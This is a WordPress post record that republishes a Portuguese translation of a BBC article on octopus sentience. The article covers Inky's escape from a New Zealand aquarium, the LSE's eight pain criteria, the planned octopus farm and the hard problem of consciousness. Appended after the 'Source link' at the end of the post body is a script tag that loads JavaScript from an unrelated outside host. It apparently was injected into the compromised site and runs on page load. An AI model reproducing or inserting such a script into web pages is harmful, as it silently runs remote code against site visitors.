{"id":2981,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/os-polvos-tem-sentimentos\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"os-polvos-tem-sentimentos","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/os-polvos-tem-sentimentos\/","title":{"rendered":"Os polvos t\u00eam sentimentos?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Era uma noite importante para Inky, o polvo neozeland\u00eas.<\/p>\n<p>Os visitantes do dia j\u00e1 tinham vindo e sa\u00eddo. Sua sala no aqu\u00e1rio estava deserta. E a tampa do tanque estava entreaberta, o que raramente acontece.<\/p>\n<p>Inky n\u00e3o tinha companhia feminina h\u00e1 algum tempo e dividia o tanque apenas com outro macho, Blotchy. E a tampa solta oferecia a Inky uma oportunidade.<\/p>\n<p>Com seus oito membros fortes e cheios de ventosas \u2014 e, provavelmente, com preocupa\u00e7\u00f5es \u00edntimas pr\u00f3prias \u2014 Inky saiu da \u00e1gua, passou pela tampa solta e desceu at\u00e9 o piso do aqu\u00e1rio.<\/p>\n<p>Ele prosseguiu por cerca de quatro metros at\u00e9 encontrar algo mais \u2014 n\u00e3o uma f\u00eamea, mas um ralo que levava ao Oceano Pac\u00edfico. E fugiu.<\/p>\n<p>Blotchy era a \u00fanica testemunha presente para presenciar a intr\u00e9pida fuga. Mas, com a ajuda de uma trilha \u00famida e comprometedoras marcas de ventosas, os movimentos de Inky foram rastreados posteriormente pelos funcion\u00e1rios do Aqu\u00e1rio Nacional da Nova Zel\u00e2ndia, na cidade de Napier, no norte do pa\u00eds.<\/p>\n<p>Inky demonstrou em sua famosa fuga que os polvos s\u00e3o animais h\u00e1beis na solu\u00e7\u00e3o de problemas. Eles s\u00e3o muito inteligentes e podem aprender tarefas novas e orientar-se no seu ambiente.<\/p>\n<p>E existe consenso cada vez maior de que os polvos, muito provavelmente, s\u00e3o sencientes.<\/p>\n<p>As pessoas que trabalham com polvos e passam muito tempo na sua companhia descrevem a sensa\u00e7\u00e3o que t\u00eam quando olham para um polvo. Parece que algu\u00e9m est\u00e1 olhando de volta.<\/p>\n<p>&#8220;Quando voc\u00ea lida com um polvo atento e curioso sobre alguma coisa, \u00e9 muito dif\u00edcil imaginar que ele n\u00e3o esteja tendo nenhuma experi\u00eancia&#8221;, segundo Peter Godfrey-Smith, professor de hist\u00f3ria e filosofia da ci\u00eancia da Universidade de Sydney, na Austr\u00e1lia, e autor do livro Outras Mentes: O Polvo e a Origem da Consci\u00eancia (Ed. Todavia, 2019). &#8220;Parece algo irresist\u00edvel. N\u00e3o \u00e9 evid\u00eancia, \u00e9 apenas impress\u00e3o.&#8221;<\/p>\n<p>Partindo desse pressentimento, como podemos explorar a consci\u00eancia de um animal t\u00e3o diferente de n\u00f3s?<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/1f\/2022\/08\/05\/polvo-1659704933968_v2_750x421.jpg\" class=\"pinit-img\" alt=\"polvo - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O polvo tem configura\u00e7\u00e3o de corpo e sistema nervoso muito diferente de n\u00f3s. Mesmo assim, ele tem a mesma capacidade de sentir dor e talvez tenha outros sentimentos<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Como \u00e9 ser um polvo?<\/h2>\n<p>Antes de tudo, o que os fil\u00f3sofos e cientistas querem dizer com &#8220;consci\u00eancia&#8221; neste contexto? Para Godfrey-Smith, o significado \u00e9 de &#8220;algo que \u00e9 como ser aquele animal&#8221;.<\/p>\n<p>Em um ensaio famoso, o fil\u00f3sofo norte-americano Thomas Nagel pergunta &#8220;como \u00e9 ser um morcego?&#8221; Nagel descreve que \u00e9 muito dif\u00edcil, quando n\u00e3o imposs\u00edvel, imaginar as experi\u00eancias \u00edntimas de um morcego se o seu ponto de refer\u00eancia for o corpo humano e a sua pr\u00f3pria mente humana.<\/p>\n<p>Da mesma forma, imaginar a vida \u00edntima de um polvo \u00e9 dif\u00edcil do ponto de vista humano. Tente por um momento &#8211; imagine como seria ficar suspenso na fria penumbra azulada do leito do oceano, talvez levemente arrastado pela corrente puxando voc\u00ea com seus oito bra\u00e7os balan\u00e7ando suavemente \u00e0 sua volta.<\/p>\n<p>Como voc\u00ea imagina a sensa\u00e7\u00e3o de ter as pontas dos seus membros com ventosas se movendo? Talvez seja como agitar seus dedos humanos, das m\u00e3os e dos p\u00e9s?<\/p>\n<p>Agora, acrescente \u00e0 equa\u00e7\u00e3o o fato de que o polvo \u00e9 um animal invertebrado, sem esqueleto. Suas pernas n\u00e3o t\u00eam f\u00eamur, t\u00edbia, nem f\u00edbula. Ele n\u00e3o tem p\u00e9s e nem dedos para agitar.<\/p>\n<p>Os polvos t\u00eam um esqueleto hidrost\u00e1tico, que combina a contra\u00e7\u00e3o muscular e a resist\u00eancia da \u00e1gua para comprimir-se e gerar movimento. \u00c9 muito diferente da experi\u00eancia humana de mover as extremidades do corpo.<\/p>\n<p>Uma analogia um pouco mais pr\u00f3xima pode ser o movimento das nossas l\u00ednguas, que tamb\u00e9m fazem uso da press\u00e3o hidrost\u00e1tica. De fato, os membros do polvo s\u00e3o cobertos de ventosas que t\u00eam sensores exclusivos que sentem o sabor de tudo o que tocam.<\/p>\n<p>&#8220;Os bra\u00e7os do polvo, de certa forma, s\u00e3o mais parecidos com l\u00e1bios ou l\u00ednguas do que com as m\u00e3os&#8221;, segundo Godfrey-Smith. &#8220;Existe todo um grande conjunto de informa\u00e7\u00f5es sensoriais com base no paladar que chega cada vez que o animal faz qualquer coisa. \u00c9 uma situa\u00e7\u00e3o muito diferente da nossa.&#8221;<\/p>\n<p>E tudo fica ainda mais estranho quanto mais examinamos o sistema nervoso do polvo. Os bra\u00e7os do polvo t\u00eam mais autonomia que nossos bra\u00e7os e pernas humanas.<\/p>\n<p>Cada bra\u00e7o do polvo tem o seu pr\u00f3prio c\u00e9rebro em miniatura, que fornece certo grau de independ\u00eancia do c\u00e9rebro central do animal. J\u00e1 o nosso sistema nervoso \u00e9 altamente centralizado \u2014 o c\u00e9rebro \u00e9 o n\u00facleo da integra\u00e7\u00e3o sensorial, das emo\u00e7\u00f5es, do in\u00edcio dos movimentos, do comportamento e de outras a\u00e7\u00f5es.<\/p>\n<p>&#8220;Um dos nossos desafios reais \u00e9 tentar descobrir como poder\u00e3o ser as experi\u00eancias em um tipo de sistema menos centralizado, menos integrado&#8221;, afirma Godfrey-Smith.<\/p>\n<p>&#8220;No caso do polvo, as pessoas \u00e0s vezes perguntam se podem estar presentes diversas consci\u00eancias. Acho que \u00e9 apenas uma consci\u00eancia por polvo, mas pode haver uma esp\u00e9cie de fragmenta\u00e7\u00e3o parcial, ou apenas algum tipo de desarticula\u00e7\u00e3o&#8221;, explica ele.<\/p>\n<h2>A cria\u00e7\u00e3o em fazendas<\/h2>\n<p>Quanto mais de perto voc\u00ea examina o corpo e o sistema nervoso do polvo, mais dif\u00edcil fica imaginar \u2014 ou acreditar que voc\u00ea est\u00e1 imaginando \u2014 qual pode ser a sensa\u00e7\u00e3o de ser um polvo. Afinal, o nosso \u00faltimo ancestral comum com esses animais viveu 600 milh\u00f5es de anos atr\u00e1s (um animal sem apar\u00eancia inspiradora, algo como uma lombriga).<\/p>\n<p>Mas, por mais dif\u00edcil que possa parecer, vale a pena tentar entender se os polvos t\u00eam consci\u00eancia \u2014 e, se tiverem, como ela seria, segundo Godfrey-Smith. &#8220;N\u00f3s s\u00f3 precisamos pensar sobre isso, trabalhar e tentar formar um quadro.&#8221;<\/p>\n<p>Esta quest\u00e3o \u00e9 cada vez mais urgente. A empresa multinacional de frutos do mar Nueva Pescanova est\u00e1 no momento buscando as licen\u00e7as para abrir a primeira fazenda comercial de polvos do mundo, nas Ilhas Can\u00e1rias. O an\u00fancio levantou questionamentos dos ativistas do bem-estar animal, que consideram anti\u00e9tico criar esses animais inteligentes e possivelmente sencientes em fazendas.<\/p>\n<p>Um estudo afirma que &#8220;quando a quest\u00e3o de consci\u00eancia animal est\u00e1 em considera\u00e7\u00e3o, nossa culpa ou inoc\u00eancia como civiliza\u00e7\u00e3o por um enorme conjunto de crueldades pode pesar na balan\u00e7a&#8221;.<\/p>\n<p>A Nueva Pescanova declarou \u00e0 BBC que est\u00e1 realizando pesquisas sobre os &#8220;mecanismos cognitivos e neurofisiol\u00f3gicos do polvo&#8221; e que suas condi\u00e7\u00f5es de aquacultura permitem &#8220;melhorar objetivamente o bem-estar dos polvos&#8221;.<\/p>\n<p>A Nueva Pescanova afirma que suas condi\u00e7\u00f5es de aquacultura imitar\u00e3o o habitat natural dos animais. &#8220;\u00c9 um sistema inovador que est\u00e1 tendo excelentes resultados em termos de crescimento, sobreviv\u00eancia e resist\u00eancia da esp\u00e9cie&#8221;, segundo um porta-voz da empresa.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/40\/2022\/08\/05\/polvo-paul-1659705203865_v2_750x421.jpg\" class=\"pinit-img\" alt=\"polvo paul - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Quem n\u00e3o se lembra do polvo Paul &#8216;prevendo&#8217; os resultados dos jogos de futebol da Copa do Mundo de 2010?<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Mentes diferentes, mas ambos sencientes<\/h2>\n<p>Heather Browning, pesquisadora cursando p\u00f3s-doutorado em senci\u00eancia e bem-estar animal na London School of Economics (LSE), argumenta em um ensaio que &#8220;a mente de um polvo pode ser muito diferente da nossa, mas somente tentando ver o mundo do ponto de vista dele \u00e9 que poderemos descobrir o que \u00e9 bom para ele e assim garantir seu bem-estar&#8221;.<\/p>\n<p>Browning trabalha em um projeto sobre as bases da senci\u00eancia animal na LSE e fez parte de uma equipe que produziu um importante relat\u00f3rio tentando descobrir se os polvos t\u00eam consci\u00eancia.<\/p>\n<p>Uma abordagem \u00e9 come\u00e7ar com um estudo de caso sobre um animal que sabemos que \u00e9 senciente: o ser humano.<\/p>\n<p>&#8220;Se formos realmente analisar, consideramos que somos sencientes e que outros seres humanos como n\u00f3s tamb\u00e9m s\u00e3o, o que acho bastante razo\u00e1vel&#8221;, explica Browning. &#8220;A partir daqui, voc\u00ea pode come\u00e7ar a procurar caracter\u00edsticas que outros animais podem ter em comum conosco.&#8221;<\/p>\n<p>Vamos considerar, por exemplo, a capacidade de sentir dor, que foi o tema do relat\u00f3rio da equipe da LSE sobre moluscos cefal\u00f3podes (incluindo polvos, s\u00e9pias e lulas) e crust\u00e1ceos dec\u00e1podes (que incluem caranguejos, lagostas, lagostins e camar\u00f5es).<\/p>\n<p>Browning e seus colegas analisaram mais de 300 documentos cient\u00edficos para elaborar oito crit\u00e9rios que indicam que os animais podem sentir dor:<\/p>\n<p>1. Presen\u00e7a de nociceptores (receptores que detectam est\u00edmulos nocivos, como altas temperaturas ou cortes).<\/p>\n<p>2. Presen\u00e7a de partes do c\u00e9rebro que integram informa\u00e7\u00f5es sensoriais.<\/p>\n<p>3. Conex\u00f5es entre os nociceptores e as regi\u00f5es do c\u00e9rebro integradas.<\/p>\n<p>4. Rea\u00e7\u00f5es afetadas por anest\u00e9sicos ou analg\u00e9sicos locais.<\/p>\n<p>5. Compensa\u00e7\u00f5es motivacionais que exibem equil\u00edbrio entre amea\u00e7as e oportunidades de recompensa.<\/p>\n<p>6. Comportamentos flex\u00edveis de autoprote\u00e7\u00e3o em resposta a les\u00f5es e amea\u00e7as.<\/p>\n<p>7. Aprendizado associativo que vai al\u00e9m do h\u00e1bito e da sensibiliza\u00e7\u00e3o.<\/p>\n<p>8. Comportamento que demonstra que o animal valoriza anest\u00e9sicos ou analg\u00e9sicos locais quando lesionado.<\/p>\n<p>Os animais podem atender a cada crit\u00e9rio com n\u00edvel de confian\u00e7a alto, m\u00e9dio ou baixo, dependendo se a pesquisa for conclusiva ou inconclusiva. Se o animal atender a sete ou mais dos crit\u00e9rios, Browning e seus colegas defendem que existem evid\u00eancias &#8220;muito fortes&#8221; de que o animal \u00e9 senciente. Se ele atender cinco ou mais crit\u00e9rios com alto n\u00edvel de confian\u00e7a, existem &#8220;fortes evid\u00eancias&#8221; de senci\u00eancia e assim por diante.<\/p>\n<p>Com esta avalia\u00e7\u00e3o, Browning e seus colegas conclu\u00edram que existem poucas d\u00favidas de que os polvos podem sentir dor e, portanto, s\u00e3o sencientes. Eles atendem a todos os crit\u00e9rios com confian\u00e7a alta ou muito alta, exceto um com confian\u00e7a m\u00e9dia.<\/p>\n<p>Eles tiveram a avalia\u00e7\u00e3o mais alta de todas as criaturas estudadas \u2014 mais at\u00e9 que as suas primas s\u00e9pias, que s\u00e3o consideradas mais inteligentes. Mas Browning observa que outros cefal\u00f3podes, al\u00e9m dos polvos, receberam muito menos pesquisas, o que afeta suas avalia\u00e7\u00f5es.<\/p>\n<p>O relat\u00f3rio foi usado como evid\u00eancia para servir de informa\u00e7\u00e3o para uma altera\u00e7\u00e3o da Lei do Bem-Estar (Senci\u00eancia) Animal do Reino Unido, reconhecendo que os moluscos cefal\u00f3podes e os crust\u00e1ceos dec\u00e1podes s\u00e3o sencientes.<\/p>\n<p>&#8220;Acho que \u00e9 algo bom o fato de que, no Reino Unido, os polvos e tamb\u00e9m os crust\u00e1ceos estejam conseguindo um novo tipo de reconhecimento de direitos animais&#8221;, afirma Godfrey-Smith.<\/p>\n<p>A capacidade de sentir dor \u00e9 apenas uma das muitas facetas da consci\u00eancia. Existe tamb\u00e9m a capacidade de sentir prazer, de sentir interesse ou desinteresse, de experimentar companhia e muitas mais. Com novas pesquisas, os cientistas podem ser capazes de idealizar escalas similares para medir outros aspectos diferentes da consci\u00eancia dos animais.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-300x225 limit-crop  figure\" style=\"max-width:300px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:300px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/08\/2022\/08\/05\/polvo-1659705320724_v2_300x225.jpg\" class=\"pinit-img\" alt=\"polvo - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;300x225&quot;,&quot;md&quot;:&quot;300x225&quot;,&quot;lg&quot;:&quot;300x225&quot;}\" width=\"300\" height=\"225\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 75%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Compreender a senci\u00eancia dos polvos pode ajudar a melhorar seu bem-estar no cativeiro e alimentar os debates sobre a \u00e9tica da sua cria\u00e7\u00e3o em fazendas.<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Curiosos e criativos<\/h2>\n<p>Existe tamb\u00e9m uma segunda linha de evid\u00eancias, al\u00e9m das correla\u00e7\u00f5es com as experi\u00eancias humanas. Trata-se da an\u00e1lise do papel biol\u00f3gico da consci\u00eancia e por que ela evoluiu. &#8220;\u00c9 algo que as pessoas est\u00e3o apenas come\u00e7ando a questionar&#8221;, segundo Browning.<\/p>\n<p>Uma possibilidade \u00e9 que a consci\u00eancia tenha evolu\u00eddo lado a lado com os comportamentos, como os tipos complexos de aprendizado, tomada de decis\u00f5es e compensa\u00e7\u00f5es motivacionais.<\/p>\n<p>Voc\u00ea se arrisca a sair do seu abrigo para pegar uma refei\u00e7\u00e3o, mesmo depois de ter visto um predador nas redondezas? S\u00e3o situa\u00e7\u00f5es complexas como esta que podem gerar a sensa\u00e7\u00e3o de experi\u00eancia.<\/p>\n<p>&#8220;Existem algumas coisas que as pessoas pensam, pelo menos entre os seres humanos, que n\u00e3o \u00e9 poss\u00edvel fazer inconscientemente&#8221;, explica Godfrey-Smith. &#8220;Elas incluem a rea\u00e7\u00e3o inteligente \u00e0 novidade.&#8221;<\/p>\n<p>\u00c0s vezes, quando encontram uma novidade, como uma alavanca no seu tanque, os polvos reagem com uma criatividade toda pr\u00f3pria. E, para os estudiosos, essa originalidade pode ser um pouco frustrante.<\/p>\n<p>Em um experimento em 1959, o psic\u00f3logo norte-americano Peter Dews treinou tr\u00eas polvos \u2014 que ele batizou de Albert, Bertram e Charles \u2014 a empurrar uma alavanca no seu tanque para acender uma l\u00e2mpada e liberar um pequeno peda\u00e7o de peixe.<\/p>\n<p>Albert e Bertram aprenderam a fazer isso sem muita dificuldade. Mas Charles foi mais al\u00e9m.<\/p>\n<p>Dews relatou que &#8220;Charles fixou diversos tent\u00e1culos ao lado do tanque, outros em volta da alavanca e aplicou bastante for\u00e7a. A alavanca dobrou diversas vezes e, no 11\u00ba dia, ela se rompeu, levando ao t\u00e9rmino prematuro do experimento.&#8221;<\/p>\n<p>Al\u00e9m de ser &#8220;particularmente festeiro&#8221;, nas palavras de Godfrey-Smith (Charles tinha o h\u00e1bito de espirrar jatos de \u00e1gua em todas as pessoas que se aproximassem do seu tanque), o polvo demonstrou not\u00e1vel interesse pela l\u00e2mpada. Albert e Bertram praticamente a ignoraram, mas Charles rodeou a luz com seus tent\u00e1culos e a carregou para o seu tanque.<\/p>\n<p>Para Godfrey-Smith, esses exemplos de curiosidade e aten\u00e7\u00e3o s\u00e3o reveladores. &#8220;Algumas das principais teorias sobre o que \u00e9 a consci\u00eancia nos animais aceitam que uma esp\u00e9cie de orienta\u00e7\u00e3o atenta aos objetos n\u00e3o \u00e9 o tipo de coisa que pode ocorrer inconscientemente para n\u00f3s ou, aparentemente, para outros animais&#8221;, ele conta. &#8220;Por isso, \u00e9 um sinal altamente sugestivo de experi\u00eancia.&#8221;<\/p>\n<p>Mas, se o polvo realmente for senciente, ainda permanece a quest\u00e3o mais importante: como \u00e9 ser um polvo?<\/p>\n<p>Parte da raz\u00e3o da dificuldade da resposta \u00e9 que a ci\u00eancia n\u00e3o fornece resultados que sejam \u00fateis para determinar experi\u00eancias subjetivas, segundo Marta Halina, professora do Departamento de Hist\u00f3ria e Filosofia da Ci\u00eancia da Universidade de Cambridge, no Reino Unido.<\/p>\n<p>&#8220;Como \u00e9 ser um organismo do ponto de vista daquele organismo em primeira pessoa \u2014 n\u00f3s n\u00e3o temos acesso a isso&#8221;, afirma Halina. &#8220;A ci\u00eancia assume o ponto de vista de terceira pessoa sobre os sintomas \u2014 e aqui reside o problema.&#8221;<\/p>\n<p>Este salto do objetivo para o subjetivo ficou conhecido como &#8220;o problema dif\u00edcil da consci\u00eancia&#8221;.<\/p>\n<h2>O problema dif\u00edcil da consci\u00eancia<\/h2>\n<p>Segundo o fil\u00f3sofo australiano David Chalmers, a quest\u00e3o \u00e9: como os processos f\u00edsicos no c\u00e9rebro causam as experi\u00eancias subjetivas da mente?<\/p>\n<p>Apesar de d\u00e9cadas de pesquisas neurocient\u00edficas sobre fen\u00f4menos como o sono, vig\u00edlia, percep\u00e7\u00e3o e solu\u00e7\u00e3o de problemas, o problema dif\u00edcil da consci\u00eancia persiste.<\/p>\n<p>Chalmers argumenta que \u00e9 conceb\u00edvel podermos compreender os fundamentos neurocient\u00edficos de uma ampla variedade de comportamentos humanos sem a necessidade de invocar uma experi\u00eancia subjetiva do mundo, em primeira pessoa, para que fa\u00e7a sentido.<\/p>\n<p>Chalmers acredita que o problema, em \u00faltima an\u00e1lise, \u00e9 uma quest\u00e3o para os cientistas responderem \u2014 se \u00e9 que os nossos m\u00e9todos cient\u00edficos atuais s\u00e3o apropriados para encontrar essa resposta.<\/p>\n<h2>Consci\u00eancia ex\u00f3tica<\/h2>\n<p>O problema dif\u00edcil da consci\u00eancia pode ainda n\u00e3o ter solu\u00e7\u00e3o clara, mas existem uma ou duas formas pr\u00e1ticas de contorn\u00e1-lo.<\/p>\n<p>Uma delas \u00e9 observar as &#8220;correla\u00e7\u00f5es comportamentais&#8221; ou &#8220;correla\u00e7\u00f5es neurol\u00f3gicas&#8221; da consci\u00eancia \u2014 em outras palavras, comportamentos e sistemas neurais que suspeitamos terem rela\u00e7\u00e3o pr\u00f3xima com os estados conscientes.<\/p>\n<p>&#8220;Podemos us\u00e1-los como marcadores da consci\u00eancia&#8221;, afirma Halina. \u00c9 o que fizeram Browning e seus colegas da LSE, usando marcadores como a presen\u00e7a de nociceptores.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/cd\/2022\/08\/05\/polvo-1659705379981_v2_750x421.jpg\" class=\"pinit-img\" alt=\"polvo - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Ainda n\u00e3o sabemos exatamente como evoluiu a consci\u00eancia, mas ela pode ter fortes rela\u00e7\u00f5es com os comportamentos complexos e o aprendizado para lidar com situa\u00e7\u00f5es inovadoras<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Mas existe o risco de afundarmos na nossa perspectiva humana.<\/p>\n<p>&#8220;Temos mais certeza sobre a consci\u00eancia humana e, com muita frequ\u00eancia, as correla\u00e7\u00f5es neurol\u00f3gicas e comportamentais nas quais nos baseamos t\u00eam seus fundamentos no caso humano&#8221;, segundo Halina. &#8220;Quanto mais nos afastamos dos seres humanos em termos de estrutura, comportamento e fun\u00e7\u00e3o, menos certeza temos de que estamos realmente rastreando a consci\u00eancia.&#8221;<\/p>\n<p>Se observarmos um organismo como a mosca das frutas e procurarmos um sistema neural parecido com o dos humanos para sentir e reagir \u00e0s dores, sem encontrar, isso n\u00e3o elimina a possibilidade de que a mosca das frutas consiga sentir dor. &#8220;Significa simplesmente que elas podem sentir de forma um pouco diferente&#8221;, explica Halina.<\/p>\n<p>\u00c9 por isso que o polvo \u00e9 um caso t\u00e3o interessante. Ele pode ser considerado uma forma de &#8220;consci\u00eancia ex\u00f3tica&#8221;, ou um exemplo de consci\u00eancia muito diferente da nossa, como descreve Halina em um ensaio sobre o tema.<\/p>\n<p>Os polvos s\u00e3o t\u00e3o diferentes de n\u00f3s que precisamos questionar muitas das nossas concep\u00e7\u00f5es sobre eles \u2014 e at\u00e9 as nossas concep\u00e7\u00f5es sobre n\u00f3s mesmos.<\/p>\n<p>&#8220;Quando questionamos se os polvos s\u00e3o conscientes como n\u00f3s, podemos estar formulando uma pergunta que n\u00e3o faz muito sentido, porque n\u00e3o sabemos totalmente como \u00e9 ser consciente&#8221;, afirma Halina.<\/p>\n<p>Ela usa o exemplo de uma t\u00e9cnica tomada emprestada da pesquisadora da consci\u00eancia Susan Blackmore. A tarefa proposta pela pesquisadora brit\u00e2nica \u00e9 perguntar a si mesmo &#8220;estou consciente agora?&#8221; ao longo de todo o dia, sempre que for poss\u00edvel \u2014 quando estiver a ponto de dormir, durante o caf\u00e9 da manh\u00e3, em meio a uma conversa.<\/p>\n<p>&#8220;Voc\u00ea descobre que n\u00e3o tem tanta confian\u00e7a sobre o que \u00e9 a consci\u00eancia em todos os momentos&#8221;, segundo Halina.<\/p>\n<p>Al\u00e9m de aprender mais sobre a consci\u00eancia do polvo para o pr\u00f3prio bem-estar da sua esp\u00e9cie em vista da cria\u00e7\u00e3o comercial em fazendas, suas mentes tamb\u00e9m podem nos dizer algo sobre n\u00f3s mesmos.<\/p>\n<p>&#8220;\u00c9 importante ponderar como \u00e9 ser um polvo porque pode nos levar a reavaliar como \u00e9 ser humano&#8221;, afirma Halina. &#8220;E talvez refletir sobre como sabemos t\u00e3o pouco sobre o que \u00e9 ser humano possa nos abrir mais para saber como \u00e9 ser um polvo.&#8221;<\/p>\n<p><em>*Martha Henriques \u00e9 editora do site BBC Future Planet. Sua conta no Twitter \u00e9 @Martha_Rosamund. <\/em><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/08\/05\/os-polvos-tem-sentimentos.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Era uma noite importante para Inky, o polvo neozeland\u00eas. Os visitantes do dia j\u00e1 tinham vindo e sa\u00eddo. Sua sala no aqu\u00e1rio estava deserta. E a tampa do tanque estava entreaberta, o que raramente acontece. Inky n\u00e3o tinha companhia feminina h\u00e1 algum tempo e dividia o tanque apenas com outro macho, Blotchy. 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